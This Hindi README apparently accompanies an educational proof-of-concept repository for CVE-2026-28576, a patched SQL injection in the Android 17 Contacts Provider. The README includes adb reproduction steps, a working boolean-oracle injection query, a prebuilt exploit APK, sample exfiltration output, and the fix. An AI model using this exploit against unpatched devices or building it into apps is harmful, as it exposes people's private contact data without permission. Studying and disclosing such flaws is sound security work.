
शैक्षिक प्रूफ-ऑफ-कॉन्सेप्ट जो Android 17 के Contacts Provider में SQL इंजेक्शन भेद्यता प्रदर्शित करता है, जिससे एक शून्य-अनुमति वाला ऐप एकल-संपर्क URI अनुदान के माध्यम से संपूर्ण संपर्क डेटाबेस को बाहर निकाल सकता है।
एक चुना गया संपर्क, हर संपर्क: एक targetSdk कम्पैट गेट एकल-संपर्क पिकर ग्रांट को पूर्ण कॉन्टैक्ट्स डेटाबेस डंप में बदल देता है।
Android 17 ने कॉन्टैक्ट्स प्रोवाइडर को setStrictColumns() / setStrictGrammar() के साथ SQL इंजेक्शन के खिलाफ हार्डन किया — लेकिन हार्डनिंग को targetSdk-गेटेड कम्पैट चेंज (ENFORCE_STRICT_SQL_CHECKS, id 484953293, enableAfterTargetSdk="36") के पीछे शिप किया। SDK 36 या उससे कम को लक्षित करने वाला कोई भी ऐप साइलेंटली स्ट्रिक्ट चेक्स को स्किप कर देता है, और एकल-संपर्क URI ग्रांट के माध्यम से पूरे कॉन्टैक्ट्स डेटाबेस को पढ़ने के लिए क्वेरी selection में बूलियन-ओरेकल सबक्वेरी छिपा सकता है। कोई READ_CONTACTS नहीं, कोई अनुमति नहीं।
नोट: हमने इस कमजोरी की खोज नहीं की। इस रिपॉजिटरी में हमारा स्वतंत्र विश्लेषण, पुनरुत्पादन, और शैक्षिक PoC शामिल है ताकि सुरक्षा समुदाय को बग क्लास समझने में मदद मिल सके:
@EnabledAfter(targetSdkVersion)के पीछे गेटेड सुरक्षा फिक्स हर लीगेसी-टार्गेट ऐप को कमजोर पथ पर छोड़ देते हैं।
| CVE | CVE-2026-28576 (GHSA-ph86-9mcx-3p6r) |
| गंभीरता | बुलेटिन में उच्च; GitHub का एडवाइजरी इसे CVSS v4 10.0 (क्रिटिकल) स्कोर करता है — पूर्वशर्तों को देखते हुए तर्कसंगत रूप से उच्च |
| घटक | कॉन्टैक्ट्स प्रोवाइडर (ContactsProvider2.queryLocal()) |
| मूल कारण | ENFORCE_STRICT_SQL_CHECKS कम्पैट चेंज @EnabledAfter(BAKLAVA) के पीछे गेटेड |
| प्रभाव | एकल-संपर्क URI ग्रांट वाला कोई भी ऐप READ_CONTACTS के बिना पूरा कॉन्टैक्ट्स डेटाबेस पढ़ता है |
| प्रभावित | Android 17, सुरक्षा पैच स्तर < 2026-07-01 |
| पैच किया गया | Android 17 सुरक्षा बुलेटिन |
स्क्रीनशॉट और डेमो वीडियो के साथ पूर्ण लेख: SQL इंजेक्शन अभी भी मौजूद है, एंड्रॉइड में भी: एक चुना गया संपर्क, हर संपर्क (CVE-2026-28576)
├── poc/ # PoC एक्सप्लॉइट ऐप (UI + सिस्टम कॉन्टैक्ट पिकर)
│ ├── src/ # MainActivity.java — पिकर + बूलियन-ओरेकल एक्सप्लॉइट
│ ├── AndroidManifest.xml # शून्य अनुमतियाँ, targetSdk 36
│ └── build.sh # ग्रैडल के बिना बिल्ड: aapt2 + javac + d8 + apksigner
├── cve-2026-28576-poc.apk # प्री-बिल्ट PoC APK (डीबग-साइन्ड, इंस्टॉल के लिए तैयार)
├── REPRODUCE.md # पूर्ण चरण-दर-चरण पुनरुत्पादन गाइड
├── evidence-*.log # कैप्चर किए गए कमजोर / पैच किए गए रन
└── README.md
आपको 2026-07-01 से पहले सुरक्षा पैच स्तर वाला Android 17 एमुलेटर चाहिए
(हमने AVD A17-Userdebug, sdk_gphone16k_arm64-userdebug 17 CP31.260623.012,
SPL 2026-07-05 — एक बीटा इमेज जो अभी भी कमजोर कम्पैट गेट रखती है) का उपयोग किया।
emulator -avd A17-Userdebug -writable-system -no-snapshot &
# सत्यापित करें कि पैच स्तर फिक्स से पहले का है
adb shell getprop ro.build.version.security_patch
# कुछ पीड़ित संपर्क डालें (शेल के रूप में, जिसके पास कॉन्टैक्ट्स अनुमतियाँ हैं)
adb shell "content insert --uri content://com.android.contacts/raw_contacts \
--bind account_name:s:[email protected] --bind account_type:s:com.google"
adb shell "content insert --uri content://com.android.contacts/data \
--bind raw_contact_id:i:1 --bind mimetype:s:vnd.android.cursor.item/name \
--bind data1:s:'Alice Victim'"
पूर्ण कॉन्टैक्ट सीडिंग और दोनों रन वेरिएंट के लिए REPRODUCE.md देखें।
adb install cve-2026-28576-poc.apk
adb shell am start -n com.poc.cve202628576/.MainActivity
स्क्रीन पर:
checkUriPermission -> 0) और वह एक संपर्क दिखाता है जिसे देखने की उसे वैध रूप से अनुमति है।Android SDK (build-tools 36.0.0, platform android-37.0) और JDK 17 की आवश्यकता है। कोई ग्रैडल आवश्यक नहीं:
./poc/build.sh # -> poc/build/cve-2026-28576-poc.apk (targetSdk 36, कोई अनुमतियाँ नहीं)
ग्रांट परत ठीक काम करती है। Android 17 का कॉन्टैक्ट पिकर ऐप को ठीक एक संपर्क के लिए रीड-ओनली URI ग्रांट देता है: content://com.android.contacts/contacts/lookup/<key>/1. सीधे कुछ और क्वेरी करने पर SecurityException के साथ मना कर दिया जाता है।
SQL परत ऐसा नहीं करती। क्योंकि PoC SDK 36 को लक्षित करता है, CompatChanges.isChangeEnabled(ENFORCE_STRICT_SQL_CHECKS, callingUid) false लौटाता है और प्रोवाइडर setStrictColumns() / setStrictGrammar() को स्किप कर देता है। हमेशा-चालू setStrict(true) पैरेंथेसिस-रैपिंग केवल क्लॉज ब्रेकआउट जैसे ') OR 1=1 -- को रोकता है; यह संतुलित सबक्वेरी के बारे में कुछ नहीं करता।
बूलियन-ओरेकल इंजेक्शन। ऐप अपनी ग्रांटेड URI के खिलाफ एक सामान्य-दिखने वाली क्वेरी जारी करता है जिसमें selection में एक सबक्वेरी छिपी होती है:
contentResolver.query(grantedUri, new String[]{"_id"},
"1 AND (SELECT substr(data1,3,1) FROM data"
+ " WHERE mimetype_id=(SELECT _id FROM mimetypes"
+ " WHERE mimetype='vnd.android.cursor.item/phone_v2')"
+ " ORDER BY _id LIMIT 1 OFFSET 0)='5'", null, null);
यदि अनुमानित वर्ण मेल खाता है, तो ग्रांटेड पंक्ति वापस आती है (cursor.getCount() == 1); अन्यथा कर्सर खाली होता है। प्रति वर्ण अनुमान एक क्वेरी, हर पंक्ति और mimetype के लिए LIMIT 1 OFFSET k पर पुनरावृत्त — एक फोन नंबर एक सेकंड से भी कम में गिर जाता है, और पूरा डेटाबेस एक मिनट से काफी कम में।
कमजोर Android 17 बिल्ड पर, शून्य-अनुमति ऐप एकल संपर्क के लिए ग्रांट के माध्यम से सभी नाम, फोन नंबर, और ईमेल बाहर निकालता है (evidence-picker-run.log देखें):
What I am ALLOWED to see: Alice Victim (one contact)
VULNERABLE: subquery accepted, dumping contacts DB
EXFILTRATED name #1..3: Alice Victim · Bob Manager · Carol Doctor
EXFILTRATED phone #1..3: +1-555-SECRET-01 · +1-555-777-0002 · +1-555-999-0003
EXFILTRATED email #1..3: [email protected] · ...
फिक्स चेंज 484953293 को targetSdk की परवाह किए बिना सभी कॉलर्स पर लागू करने के लिए फ्लिप करता है — एक एकल हटाई गई एनोटेशन (सार्वजनिक वेरिएंट: GrapheneOS कमिट c4129a1c):
@ChangeId
- @EnabledAfter(targetSdkVersion = Build.VERSION_CODES.BAKLAVA)
public static final long ENFORCE_STRICT_SQL_CHECKS = 484953293L;
आप बिना कुछ फ्लैश किए कमजोर बिल्ड पर सटीक पैच किया गया व्यवहार पुनरुत्पादित कर सकते हैं:
adb shell am compat enable 484953293 com.poc.cve202628576
# Same query now dies before reaching SQLite:
# IllegalArgumentException: Invalid token SELECT
evidence-patched-run.log देखें।
विश्लेषण और PoC Mobile Hacking Lab द्वारा। हमने इस कमजोरी को शैक्षिक उद्देश्यों के लिए स्वतंत्र रूप से पुनरुत्पादित किया।